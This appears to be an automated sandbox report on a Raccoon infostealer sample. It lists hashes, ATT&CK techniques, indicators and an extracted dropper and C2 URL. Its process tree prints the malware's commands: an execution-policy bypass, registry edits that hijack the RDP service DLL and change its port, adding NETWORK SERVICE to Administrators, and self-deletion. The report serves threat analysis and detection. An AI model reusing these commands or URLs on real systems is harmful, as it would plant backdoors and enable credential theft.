raccoon | 2b9b67b6e376ed8db68a8b219209981c865a2a26a4c4cd926b79cf2fddb57d54

Analysis

max time kernel
129s
max time network
133s
platform
windows10_x64
resource
win10v20210410
submitted
02-06-2021 17:28

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

f13060a6789449453b7d4a4b815cc80d.exe
Size

567KB
MD5

f13060a6789449453b7d4a4b815cc80d
SHA1

77d3b0a202710d93c660aca624a63a97811b8f9e
SHA256

2b9b67b6e376ed8db68a8b219209981c865a2a26a4c4cd926b79cf2fddb57d54
SHA512

78ed128be390ff896fb83b4cac8b30db20258f985d8f86d61f64da19cbd0bd8e2891a46fbdee1ad09e6d99fda697dfb12650deb1c628979b3a4133c438313b55

Score

10^/10

raccoon e46634757936706c1ff491585768dd6fe231db30 discovery persistence spyware stealer upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

raccoon

Botnet

e46634757936706c1ff491585768dd6fe231db30

Attributes

url4cnc
https://tttttt.me/jdiamond13

rc4.plain

Signatures

Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 9 IoCs

flow	pid	Process
21	3516	powershell.exe
23	3516	powershell.exe
24	3516	powershell.exe
25	3516	powershell.exe
27	3516	powershell.exe
29	3516	powershell.exe
31	3516	powershell.exe
33	3516	powershell.exe
35	3516	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
1516	M70f3nz9TG.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000600000000068b-235.dat	upx
behavioral2/files/0x000a000000000695-236.dat	upx

Loads dropped DLL 8 IoCs

pid	Process
2016	f13060a6789449453b7d4a4b815cc80d.exe
2016	f13060a6789449453b7d4a4b815cc80d.exe
2016	f13060a6789449453b7d4a4b815cc80d.exe
2016	f13060a6789449453b7d4a4b815cc80d.exe
2016	f13060a6789449453b7d4a4b815cc80d.exe
2016	f13060a6789449453b7d4a4b815cc80d.exe
2236	Process not Found
2236	Process not Found

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI	powershell.exe

Drops file in Windows directory 19 IoCs

description	ioc	Process
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_yikvqkpp.nw2.ps1	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIA01E.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIA04E.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_vggnea10.t1j.psm1	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIA05E.tmp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIA06F.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIA080.tmp	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
3532	timeout.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\DisplayName = "My Computer"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0\e1be3f182420a0a0 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c000000	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Description = "This zone contains Web sites that could potentially damage your computer or data."	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Flags = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\shell = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\PMDisplayName = "My Computer [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\CurrentLevel = "69632"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\CurrentLevel = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\2500 = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\LowIcon = "inetcpl.cpl#005425"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Icon = "inetcpl.cpl#00004481"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\PMDisplayName = "Restricted sites [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\1200 = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\http = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0\57fd7ae31ab34c2c = 2c0053004f004600540057004100520045005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073005c0035002e0030005c00430061006300680065002c000000	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0\2ba02e083fadee33 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c004900450035005f00550041005f004200610063006b00750070005f0046006c00610067002c0000000100080035002e0030000000000000000000	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\DisplayName = "Internet"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\DisplayName = "Trusted sites"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\OnDemandInterfaceCache	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\PMDisplayName = "Trusted sites [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\1200 = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\1200 = "3"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\IE5_UA_Backup_Flag = "5.0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Icon = "inetcpl.cpl#00004481"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Description = "This zone contains all Web sites that are on your organization's intranet."	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Description = "This zone contains Web sites that you trust not to damage your computer or data."	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Description = "This zone contains all Web sites you haven't placed in other zones"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\1200 = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\1400 = "3"	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0\ef29a4ec885fa451 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c00550073006500720020004100670065006e0074002c000000010054004d006f007a0069006c006c0061002f0035002e0030002000280063006f006d00700061007400690062006c0065003b0020004d00530049004500200039002e0030003b002000570069006e003300320029000000000000000000	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\LowIcon = "inetcpl.cpl#005422"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\DisplayName = "Restricted sites"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Icon = "inetcpl.cpl#00004480"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\PMDisplayName = "Computer [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\1400 = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2184	reg.exe

Runs net.exe

Script User-Agent 4 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	27	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	23	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	24	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	25	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
3996	powershell.exe
3996	powershell.exe
3996	powershell.exe
4056	powershell.exe
4056	powershell.exe
4056	powershell.exe
804	powershell.exe
804	powershell.exe
804	powershell.exe
3280	powershell.exe
3280	powershell.exe
3280	powershell.exe
3996	powershell.exe
3996	powershell.exe
3996	powershell.exe
3516	powershell.exe
3516	powershell.exe
3516	powershell.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
620	Process not Found
620	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3996	powershell.exe
Token: SeDebugPrivilege	4056	powershell.exe
Token: SeIncreaseQuotaPrivilege	4056	powershell.exe
Token: SeSecurityPrivilege	4056	powershell.exe
Token: SeTakeOwnershipPrivilege	4056	powershell.exe
Token: SeLoadDriverPrivilege	4056	powershell.exe
Token: SeSystemProfilePrivilege	4056	powershell.exe
Token: SeSystemtimePrivilege	4056	powershell.exe
Token: SeProfSingleProcessPrivilege	4056	powershell.exe
Token: SeIncBasePriorityPrivilege	4056	powershell.exe
Token: SeCreatePagefilePrivilege	4056	powershell.exe
Token: SeBackupPrivilege	4056	powershell.exe
Token: SeRestorePrivilege	4056	powershell.exe
Token: SeShutdownPrivilege	4056	powershell.exe
Token: SeDebugPrivilege	4056	powershell.exe
Token: SeSystemEnvironmentPrivilege	4056	powershell.exe
Token: SeRemoteShutdownPrivilege	4056	powershell.exe
Token: SeUndockPrivilege	4056	powershell.exe
Token: SeManageVolumePrivilege	4056	powershell.exe
Token: 33	4056	powershell.exe
Token: 34	4056	powershell.exe
Token: 35	4056	powershell.exe
Token: 36	4056	powershell.exe
Token: SeDebugPrivilege	804	powershell.exe
Token: SeIncreaseQuotaPrivilege	804	powershell.exe
Token: SeSecurityPrivilege	804	powershell.exe
Token: SeTakeOwnershipPrivilege	804	powershell.exe
Token: SeLoadDriverPrivilege	804	powershell.exe
Token: SeSystemProfilePrivilege	804	powershell.exe
Token: SeSystemtimePrivilege	804	powershell.exe
Token: SeProfSingleProcessPrivilege	804	powershell.exe
Token: SeIncBasePriorityPrivilege	804	powershell.exe
Token: SeCreatePagefilePrivilege	804	powershell.exe
Token: SeBackupPrivilege	804	powershell.exe
Token: SeRestorePrivilege	804	powershell.exe
Token: SeShutdownPrivilege	804	powershell.exe
Token: SeDebugPrivilege	804	powershell.exe
Token: SeSystemEnvironmentPrivilege	804	powershell.exe
Token: SeRemoteShutdownPrivilege	804	powershell.exe
Token: SeUndockPrivilege	804	powershell.exe
Token: SeManageVolumePrivilege	804	powershell.exe
Token: 33	804	powershell.exe
Token: 34	804	powershell.exe
Token: 35	804	powershell.exe
Token: 36	804	powershell.exe
Token: SeDebugPrivilege	3280	powershell.exe
Token: SeIncreaseQuotaPrivilege	3280	powershell.exe
Token: SeSecurityPrivilege	3280	powershell.exe
Token: SeTakeOwnershipPrivilege	3280	powershell.exe
Token: SeLoadDriverPrivilege	3280	powershell.exe
Token: SeSystemProfilePrivilege	3280	powershell.exe
Token: SeSystemtimePrivilege	3280	powershell.exe
Token: SeProfSingleProcessPrivilege	3280	powershell.exe
Token: SeIncBasePriorityPrivilege	3280	powershell.exe
Token: SeCreatePagefilePrivilege	3280	powershell.exe
Token: SeBackupPrivilege	3280	powershell.exe
Token: SeRestorePrivilege	3280	powershell.exe
Token: SeShutdownPrivilege	3280	powershell.exe
Token: SeDebugPrivilege	3280	powershell.exe
Token: SeSystemEnvironmentPrivilege	3280	powershell.exe
Token: SeRemoteShutdownPrivilege	3280	powershell.exe
Token: SeUndockPrivilege	3280	powershell.exe
Token: SeManageVolumePrivilege	3280	powershell.exe
Token: 33	3280	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2016 wrote to memory of 1516	2016	f13060a6789449453b7d4a4b815cc80d.exe	79
PID 2016 wrote to memory of 1516	2016	f13060a6789449453b7d4a4b815cc80d.exe	79
PID 2016 wrote to memory of 3808	2016	f13060a6789449453b7d4a4b815cc80d.exe	80
PID 2016 wrote to memory of 3808	2016	f13060a6789449453b7d4a4b815cc80d.exe	80
PID 2016 wrote to memory of 3808	2016	f13060a6789449453b7d4a4b815cc80d.exe	80
PID 3808 wrote to memory of 3532	3808	cmd.exe	82
PID 3808 wrote to memory of 3532	3808	cmd.exe	82
PID 3808 wrote to memory of 3532	3808	cmd.exe	82
PID 1516 wrote to memory of 3996	1516	M70f3nz9TG.exe	83
PID 1516 wrote to memory of 3996	1516	M70f3nz9TG.exe	83
PID 3996 wrote to memory of 3180	3996	powershell.exe	85
PID 3996 wrote to memory of 3180	3996	powershell.exe	85
PID 3180 wrote to memory of 2512	3180	csc.exe	86
PID 3180 wrote to memory of 2512	3180	csc.exe	86
PID 3996 wrote to memory of 4056	3996	powershell.exe	87
PID 3996 wrote to memory of 4056	3996	powershell.exe	87
PID 3996 wrote to memory of 804	3996	powershell.exe	90
PID 3996 wrote to memory of 804	3996	powershell.exe	90
PID 3996 wrote to memory of 3280	3996	powershell.exe	92
PID 3996 wrote to memory of 3280	3996	powershell.exe	92
PID 3996 wrote to memory of 3512	3996	powershell.exe	94
PID 3996 wrote to memory of 3512	3996	powershell.exe	94
PID 3996 wrote to memory of 2184	3996	powershell.exe	95
PID 3996 wrote to memory of 2184	3996	powershell.exe	95
PID 3996 wrote to memory of 1348	3996	powershell.exe	96
PID 3996 wrote to memory of 1348	3996	powershell.exe	96
PID 3996 wrote to memory of 2300	3996	powershell.exe	97
PID 3996 wrote to memory of 2300	3996	powershell.exe	97
PID 2300 wrote to memory of 3832	2300	net.exe	98
PID 2300 wrote to memory of 3832	2300	net.exe	98
PID 3996 wrote to memory of 3464	3996	powershell.exe	99
PID 3996 wrote to memory of 3464	3996	powershell.exe	99
PID 3464 wrote to memory of 3448	3464	cmd.exe	100
PID 3464 wrote to memory of 3448	3464	cmd.exe	100
PID 3448 wrote to memory of 1108	3448	cmd.exe	101
PID 3448 wrote to memory of 1108	3448	cmd.exe	101
PID 1108 wrote to memory of 3520	1108	net.exe	102
PID 1108 wrote to memory of 3520	1108	net.exe	102
PID 3996 wrote to memory of 4052	3996	powershell.exe	103
PID 3996 wrote to memory of 4052	3996	powershell.exe	103
PID 4052 wrote to memory of 2280	4052	cmd.exe	104
PID 4052 wrote to memory of 2280	4052	cmd.exe	104
PID 2280 wrote to memory of 196	2280	cmd.exe	105
PID 2280 wrote to memory of 196	2280	cmd.exe	105
PID 196 wrote to memory of 32	196	net.exe	106
PID 196 wrote to memory of 32	196	net.exe	106
PID 8 wrote to memory of 2656	8	cmd.exe	110
PID 8 wrote to memory of 2656	8	cmd.exe	110
PID 2656 wrote to memory of 956	2656	net.exe	111
PID 2656 wrote to memory of 956	2656	net.exe	111
PID 204 wrote to memory of 3164	204	cmd.exe	114
PID 204 wrote to memory of 3164	204	cmd.exe	114
PID 3164 wrote to memory of 3300	3164	net.exe	115
PID 3164 wrote to memory of 3300	3164	net.exe	115
PID 1348 wrote to memory of 3296	1348	cmd.exe	118
PID 1348 wrote to memory of 3296	1348	cmd.exe	118
PID 3296 wrote to memory of 2976	3296	net.exe	119
PID 3296 wrote to memory of 2976	3296	net.exe	119
PID 1108 wrote to memory of 2212	1108	cmd.exe	122
PID 1108 wrote to memory of 2212	1108	cmd.exe	122
PID 2212 wrote to memory of 652	2212	net.exe	123
PID 2212 wrote to memory of 652	2212	net.exe	123
PID 184 wrote to memory of 3276	184	cmd.exe	126
PID 184 wrote to memory of 3276	184	cmd.exe	126

C:\Users\Admin\AppData\Local\Temp\f13060a6789449453b7d4a4b815cc80d.exe
"C:\Users\Admin\AppData\Local\Temp\f13060a6789449453b7d4a4b815cc80d.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2016
- C:\Users\Admin\AppData\Local\Temp\M70f3nz9TG.exe
  "C:\Users\Admin\AppData\Local\Temp\M70f3nz9TG.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1516
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
    3⤵
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3996
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\vbakxeko\vbakxeko.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3180
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6538.tmp" "c:\Users\Admin\AppData\Local\Temp\vbakxeko\CSC88BE5BC4C04E41DA9EB7C4DEDA229646.TMP"
        5⤵
        
        PID:2512
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4056
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:804
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3280
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
      4⤵
      PID:3512
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
      4⤵
      Modifies registry key
      PID:2184
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
      4⤵
      PID:1348
  - - C:\Windows\system32\net.exe
      "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2300
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        5⤵
        
        PID:3832
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3464
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3448
      - C:\Windows\system32\net.exe
        
        net start rdpdr
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1108
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        7⤵
        
        PID:3520
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4052
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start TermService
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2280
      - C:\Windows\system32\net.exe
        
        net start TermService
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:196
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        7⤵
        
        PID:32
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
      4⤵
      PID:1524
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
      4⤵
      PID:2512
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\f13060a6789449453b7d4a4b815cc80d.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3808
- - C:\Windows\SysWOW64\timeout.exe
    timeout /T 10 /NOBREAK
    3⤵
    - Delays execution with timeout.exe
    PID:3532

C:\Windows\System32\cmd.exe
